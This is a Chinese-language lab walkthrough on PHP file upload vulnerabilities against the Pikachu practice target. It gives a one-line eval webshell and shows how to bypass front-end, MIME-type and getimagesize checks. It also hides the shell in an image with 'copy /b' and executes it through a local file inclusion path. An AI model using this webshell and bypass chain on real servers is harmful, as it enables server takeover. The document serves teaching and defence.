介绍文件上传的原理
我们能通过浏览器查看各种界面,这是为什么呢?我们都知道,我们所看到的界面的源码其实是一个html文件。
这一章开始我们学到过,我们输入域名之后,浏览器会向域名服务器发送请求,然后得到该域名对应的ip地址,浏览器再向该ip地址的服务器请求资源。如果我们访问的http://jwzx.cqupt.edu.cn,那我们就会得到其中一个文件名为index.php,我们的浏览器得到这个文件,就会解析它然后显示出我们所看到的界面。
起初有很多web界面是通过php脚本语言和html共同组成的。
PHP是一种服务器端编程语言,与浏览器的交互是通过HTTP协议实现的。底层原理是,当浏览器向服务器发送HTTP请求时,服务器会解析请求,执行对应的PHP脚本,并生成html响应通过http返回给浏览器。
举个例子:当我们访问http://jwzx.cqupt.edu.cn的时候。
我们点击个人服务的时候,浏览器会发送get请求给jwzx.cqupt.deu.cn请求user.php界面,然后服务器会执行user.php,然后渲染出html界面,然后返回给浏览器,就是我们看到的界面。
下面是点击瞬间,浏览器发送给服务器的请求。
下面是服务端php解释器执行过的user.php文件生成的HTML代码。
既然服务器会执行php文件,那么在某些地方,我们就可以上传包含恶意代码的文件,然后让服务器去执行它。
接下来由我为大家演示几种文件上传的方式,帮助大家更好的理解文件上传的原理、危害和防护。
一句话木马原理
在php语言中我们可以通过GET 、POST 、COOKIE 这三种方式向一个网站提交数据,我们可以分别用$_GET[' ']、$_POST[' ']、$_COOKIE[' ']三种方法接收我们传递的数据。
例如接收post请求中参数为“hacker”的值:$post_hacker = $_POST['hacker']
在php语言中存在一个函数eval(string)
,这个函数可以将string
当作php语句来执行。
举个栗子(例子)
在php中 eval("phpinfo()");
和phpinfo();
等价。
利用这两种函数,我们就可以让网站执行我们提交的数据。(任意php语句)
下面我们来分析一下我们演示内容中用到的木马(一行php脚本) :
<?php @eval($_POST['hacker']); ?>
-
-
- 首先
<?php ?>
是php的标志,包含着php脚本。 $_POST['hacker']
,获取接收post请求的参数"hacker"的值。例如一个post请求中 hacker = "phpinfo()",所以$_POST['hacker '] = "phpinfo()"
@eval($_POST['hacker']);
如果我们像我们上面提交的值hacker = "phpinfo()"
,就是执行phpinfo() 语句,这句话等于phpinfo();
- 首先
-
总的来说,上述一句话木马的意思就是:将post请求中参数为'hacker'的值作为php语句执行。
所以我们可以执行任何php语句。
一句话木马@eval($_POST[“cmd“]);是什么意思(超详细)_yuko156的博客-CSDN博客
后面演示的内容都是用上传该木马作为目标来进行演示。
文件上传网站进行测试
1. 没有防护的网站
我们可以通过python结合requests包进行构造发送post请求,执行下面的代码。
echo phpinfo();
php脚本(显示php信息)
这样可以看出来我们可以通过提交post请求进行任意操作。
我们除了自己进行提交post请求以外,我们可以使用相关的工具,很方便利用这个漏洞提交相应的脚本以实现一系列的操作。例如蚁剑、菜刀等等。
接下来我们演示通过蚁剑来进行演示怎么利用文件上传漏洞以及文件上传漏洞带来的危害。
2. 前端js进行文件后缀检测
上一个网站并没有做任何的防护手段,但是有的网站在前端进行限制文件的后缀。
所以我们不能直接上传木马文件。
我们查看界面的源代码,发现这里有js进行校验。我们有两种解决思路,禁用和绕过。
- 首先我们可以对前端js代码进行限制,所以我们可以利用浏览器插件,将js禁用掉,这样就无法调用检测函数。我们就可以直接上传我们的php脚本。
- 另外一种方法,我们可以先上传png文件,前端时候他还是图片,通过了前端的验证,然后用Burp suite在传输中进行拦截抓包,修改文件后缀名.png为.php,然后上传到服务器时候在服务器存储的文件就是php可以执行的.php文件,就达成了我们的目标。我们利用蚁剑进行控制。
3. 后端通过文件类型白名单进行过滤
前端的检测我们可以绕过,但是有的网站在后端进行校验。
比如下面的网站,进行了后端检测。
我们得到了后端的源代码,其中关键代码如下:(4、6)
<?php
if(isset($_POST['submit'])){
$type=array('jpg','jpeg','png');//指定类型
$mime=array('image/jpg','image/jpeg','image/png');
$save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹
$upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";
}
?>
以及upload函数部分内容(3)获取http请求头中['content-type']字段是否在mime数组中
//进行了严格的验证
function upload($key,$size,$type=array(),$mime=array(),$save_path){
if(!in_array($_FILES[$key]['content-type'], $mime)){
$return_data['error']='你上传的是个假图片,不要欺骗我xxx!';
$return_data['return']=false;
return $return_data;
}
因为获取该函数里面检测文件的类型并不安全,仅仅只是获取http请求头中type字段进行检测,是否在白名单中。所以我们的思路就是用Burp suite抓包,然后修改http头的content-type字段值。
4. 后端使用安全函数getimagesize函数进行防护
仅仅检测http头部字段很危险,所以有的网站会使用安全性较高的getimagesize进行校验图片。
首先我们先介绍一下getimagesize这个函数的使用。
<?php
list($width, $height, $type, $attr) = getimagesize("runoob-logo.png");
echo "宽度为:" . $width;
echo "高度为:" . $height;
echo "类型为:" . $type;
echo "属性:" . $attr;
?>
结果为:
宽度为:290
高度为:69
类型为:3
属性:width="290" height="69"
getimagesize函数会返回图片的相关属性的一个数组,如果不是图片就会报错。对于一个文件,文件头表示了文件的类型。少部分二进制信息表示了上面的属性,大部分信息表示图片的像素点的色彩信息。要想通过getimagesize函数获取到图片属性,所以我们上传的文件一定是图片,但是仅仅只能是图片吗?
在图片里面的二进制信息中无关紧要的地方 增加一部分信息,或者减少一部分信息可能并不影响我们看图片,也不会改变图片的属性。
我们可以通过这种方式将我们的php脚本藏在图片里面,并且getimagesize函数认为这还是一张图片。
a. 将php脚本写入图片方法
我们可以通过windows的命令:copy /b 源图片.png + 木马.php 目的图片.png
这时候出现了一个问题,我们可以访问到我们的图片,但是这是一张图片,我们应该怎么执行我们插入在图片里面的脚本呢?
这里我们想到两种方法,一种是解析漏洞,另一种是文件包含漏洞,因为这个网站中存在文件包含漏洞,所以这里我们使用文件包含漏洞进行解析图片中的php脚本,来获取shell。
如果这两种漏洞都不存在,那么这个网站就是相对安全的。
接下来我们讲解一下文件包含漏洞文件包含漏洞全面详解_caker丶的博客-CSDN博客
文件包含:
在php语言中,提供了几种文件包含函数,比如
include(),require(),include_once(),require_once()
这四种。
这里我们只介绍第一种:include()
,我们直接引用php代码来进行解释。
<?php
include 2.php;
?>
这是一个很简单的php脚本语句,其中只用到了include()函数,这个意思是执行当前目录下的2.php。就是这么简单。结合一下我们上面讲到的$_GET[' ']
方法。
<?php
include $_GET['filename'];
?>
这个php脚本在上面的基础上添加了接收get请求中参数"filename"的值,并且执行那个文件。
比如我们提供参数filename = "1.php",那么就执行1.php。在有些网站这个功能很有必要。就比如我们下面使用的靶机环境,但是也存在一些漏洞。文件包含漏洞全面详解_caker丶的博客-CSDN博客
知道了文件包含的原理以及漏洞利用方式,那么我们就可以通过文件包含来进行解析我们的png文件。
我们可以直接传入我们的含有木马图片的地址(相对地址),然后通过include来进行解析。
因为我们的图片的地址为
http://172.20.10.4/pikachu/vul/unsafeupload/uploads/2023/10/13/8279836529451f1fd9a792221181.png
而文件包含漏洞这个界面的地址为:
http://172.20.10.4/pikachu/vul/fileinclude/fi_local.php?filename=file3.php&submit=%E6%8F%90%E4%BA%A4
这个文件为fi_local.php,按照一般的编程逻辑,file3.php应该是在fileinclude目录下的一个子目录下。所以这里我们可以推断出file3的地址结构可能为:
http://172.20.10.4/pikachu/vul/fileinclude/某目录/file3.php
结合后端源码我们可以得到实际的结构为
http://172.20.10.4/pikachu/vul/fileinclude/include/file3.php
下面为存在文件包含漏洞的部分源码:(8 包含到include/$filename)
<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";//变量传进来直接包含,没做任何的安全限制
// //安全的写法,使用白名单,严格指定包含的文件名
// if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
// include "include/$filename";
// }
}
?>
我们当前在include目录下,我们需要把file3.php的位置改为我们存在木马的图片的位置。
我们结合推导出来的文件系统结构,来进行构造路径。为
../../unsafeupload/uploads/2023/10/13/8279836529451f1fd9a792221181.png
最后我们带着这个地址,去请求存在文件包含的站点,实现执行我们的木马。
最终通过蚁剑连接。更加安全一点的写法就像上面一样,作出限制。